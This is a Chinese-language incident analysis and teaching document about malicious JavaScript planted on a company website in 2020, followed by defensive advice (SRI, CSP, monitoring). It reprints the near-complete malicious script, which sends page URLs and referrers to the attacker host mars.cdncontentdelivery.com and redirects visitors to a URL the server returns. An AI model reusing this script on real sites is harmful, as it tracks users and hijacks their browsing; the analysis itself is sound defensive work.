一次木马脚本重大安全事件分析
字数 1389 2025-08-15 21:32:39
木马脚本安全事件分析与防御教学文档
事件概述
2020年11月,火绒安全披露了一起官网被嵌入恶意代码的安全事件,攻击者通过在网站中植入恶意JavaScript代码,实施非法广告推广活动。本教学文档将详细分析该恶意代码的工作原理、攻击流程,并提供防御建议。
恶意代码分析
代码结构
恶意代码主要包含三个核心函数:
initXMLhttp()- 初始化XMLHttpRequest对象minAjax(config)- 封装AJAX请求功能dL()- 核心控制函数,负责发起恶意请求
核心函数详解
1. initXMLhttp()函数
function initXMLhttp() {
var xmlhttp;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
} else {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
return xmlhttp;
}
功能:兼容性创建XMLHttpRequest对象,支持现代浏览器和旧版IE。
2. minAjax(config)函数
function minAjax(config) {
// 参数校验
if (!config.url) { return; }
if (!config.type) { return; }
if (!config.method) { config.method = true; }
if (!config.debugLog) { config.debugLog = false; }
// 数据处理
var sendString = [], sendData = config.data;
// ...数据处理逻辑...
// 跨域请求处理
if(window.XDomainRequest) {
// IE特定处理
var xmlhttp = new window.XDomainRequest();
xmlhttp.onload = function() {
if(config.success){
config.success(xmlhttp.responseText);
}
};
xmlhttp.open("POST", config.url);
xmlhttp.send(sendString);
} else {
// 标准AJAX处理
var xmlhttp = initXMLhttp();
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
if (config.success) {
config.success(xmlhttp.responseText, xmlhttp.readyState);
}
}
}
// GET/POST请求处理
if (config.type == "GET") {
xmlhttp.open("GET", config.url + "?" + sendString, config.method);
xmlhttp.send();
}
if (config.type == "POST") {
xmlhttp.open("POST", config.url, config.method);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(sendString);
}
}
}
功能:封装AJAX请求,支持GET/POST方法,处理跨域请求,兼容多种浏览器。
3. dL()核心控制函数
function dL(){
var host = 'http://mars.cdncontentdelivery.com/f';
var config = {
url: host + "/stats.php",
type: "POST",
data: {
vbase: document.baseURI,
vhref: location.href,
vref: document.referrer,
k: "YXViZGFzLmNvbQ==",
ek: "dW5pb24xLmF1YmRhcy5jb20=",
t: Math.floor(new Date().getTime() / 1000),
tg: ""
},
success: onSuccessCallback
};
function bl(resp){
!function(dr){
function t(){return!!localStorage&&localStorage.getItem(a)}
function e(){o(), parent.top.window.location.href=c}
function o(){var t=r+i;if(localStorage){localStorage.setItem(a,t)}}
function n(){
if(t()){
var o=localStorage&&localStorage.getItem(a);
r>o&&e()
}else e()
}
var a="MenuIdentifier", r=Math.floor((new Date).getTime()/1e3),
c=dr,i=86400;
n()
}(resp);
}
function onSuccessCallback(response){
if(response && response.indexOf('http') > -1){
bl(response);
}
}
minAjax(config)
}
恶意行为分析
-
数据收集:
- 收集当前页面基础URI(
document.baseURI) - 收集当前页面完整URL(
location.href) - 收集来源页面URL(
document.referrer) - 收集时间戳(Unix时间戳,秒级)
- 收集当前页面基础URI(
-
数据传输:
- 使用Base64编码的密钥(
k和ek参数) - 通过POST方式发送到攻击者控制的服务器(
mars.cdncontentdelivery.com)
- 使用Base64编码的密钥(
-
响应处理:
- 检查响应中是否包含HTTP链接
- 如果存在,则调用
bl()函数进行进一步操作
-
重定向攻击:
- 使用localStorage存储时间戳和标识符
- 实现定时重定向功能(86400秒=24小时)
- 最终将用户重定向到恶意URL
攻击流程复现
- 受害者访问被植入恶意代码的网站
- 网站加载恶意JavaScript文件
- 恶意代码执行,收集用户环境信息
- 向攻击者服务器(
mars.cdncontentdelivery.com)发送收集的数据 - 接收服务器响应,可能包含重定向指令
- 根据指令将用户重定向到恶意网站
防御建议
1. JavaScript引用安全
-
避免引用不可信的第三方JS:只从可信来源加载JavaScript文件
-
使用Subresource Integrity (SRI):为引用的JS文件添加完整性校验
<script src="https://example.com/example.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC" crossorigin="anonymous"></script> -
实施内容安全策略(CSP):限制脚本来源
Content-Security-Policy: script-src 'self' https://trusted.cdn.com
2. 网站安全防护
- 定期安全审计:检查网站是否被植入恶意代码
- 文件完整性监控:监控关键文件是否被篡改
- Web应用防火墙(WAF):部署WAF拦截恶意请求
- HTTPS强制使用:防止中间人攻击篡改内容
3. 开发安全实践
- 输入输出过滤:对所有用户输入和输出进行严格过滤
- 最小权限原则:限制JavaScript的访问权限
- 禁用不必要的API:如非必要,限制localStorage等敏感API的使用
4. 监控与响应
- 异常请求监控:监控向外部域发起的异常请求
- 实时告警机制:对可疑活动设置实时告警
- 应急响应计划:制定并演练安全事件应急响应流程
总结
本次安全事件展示了恶意JavaScript代码如何通过网站植入实施攻击。攻击者利用网站信任关系,通过第三方JS文件注入恶意功能,收集用户信息并可能实施重定向攻击。防御此类攻击需要多层次的防护措施,包括严格的内容来源控制、完善的安全策略和持续的监控审计。